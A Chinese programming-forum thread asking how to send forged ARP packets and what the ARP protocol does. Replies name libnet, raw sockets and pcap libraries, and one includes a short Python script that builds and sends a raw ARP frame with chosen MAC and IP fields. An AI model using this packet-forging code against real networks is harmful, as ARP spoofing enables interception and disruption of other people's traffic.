首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C语言 >

怎么发送虚假的ARP数据包

2012-09-06 
怎样发送虚假的ARP数据包?是SendARP吗?另外,谁能概括的说一下,ARP协议都做了什么!!~[解决办法](酱油党--专

怎样发送虚假的ARP数据包?
是SendARP吗?另外,谁能概括的说一下,ARP协议都做了什么!!~

[解决办法]
(酱油党--专职酱油*&)

在哪修改的?
[解决办法]

探讨
赵老师咋还不来呢……

[解决办法]
libnet,自己去看书吧
[解决办法]
探讨

libnet,自己去看书吧

[解决办法]
有段时间老有人ARP攻击~
[解决办法]
用RAW Socket试试,或者用Winpcap/libpcap的库。
[解决办法]
//来段python源码, u can do it @miss_zhao

import socket
import struct

#Packet structure explanation:
#destmac = 0xff,0xff,0xff,0xff,0xff,0xff
#sourcemac = 0x00,0x11,0x22,0x33,0x44,0x55
#etherflags = 0x0806,0x0001,0x0800
#arpflags = 0x6,0x4,0x0001
#sourcemac = 0x00,0x11,0x22,0x33,0x44,0x55
#sourceip = 0xc0,0xa8,0x2b,0x7a
#targmac = 0x00,0x00,0x00,0x00,0x00,0x00
#targip = 0xc0,0xa8,0x2b,0x0c

packet = struct.pack('!12B3H2BH10B10B', 0xff,0xff,0xff,0xff,0xff,0xff, 0x00,0x11,0x22,0x33,0x44,0x55, 0x0806,0x0001,0x0800, 0x6,0x4,0x0001 ,0x00,0x11,0x22,0x33,0x44,0x55, 0xc0,0xa8,0x2b,0x7a, 0x00,0x00,0x00,0x00,0x00,0x00, 0xc0,0xa8,0x2b,0x0c)

sock = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
sock.bind(('eth0', 6)) # 6 its protocol number
sock.send(packet)
sock.close()
[解决办法]
莱科还是科莱 数据包发生器
[解决办法]
地址解析协议(Address Resolution Protocol,ARP)是在仅知道主机的IP地址时确定其物理地址的一种协议。因IPv4和以太网的广泛应用,其主要用作将IP地址翻译为以太网的MAC地址,但其也能在ATM( 异步传输模式)和FDDIIP(Fiber Distributed Data Interface 光纤分布式数据接口)网络中使用。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
[解决办法]
这个是不是黑客研究的东西,不懂,求指教。

热点排行